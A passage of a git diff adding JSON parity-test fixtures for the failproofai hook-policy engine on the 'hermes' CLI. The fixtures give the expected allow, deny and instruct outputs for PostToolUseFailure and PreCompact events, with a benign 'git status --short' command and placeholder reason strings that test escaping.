"PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6084e9e0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..432d1d53 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..171209f3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1db85688 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..99a7d3fb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8b05df2a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..edf5c3dd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ceabab30 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..227cafb2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2701d993 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..08be764b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8c9097a5 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d98758cd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..bf07672e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2386f21a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..6172513b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4ac10797 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..730a52e2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3861dbcd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + 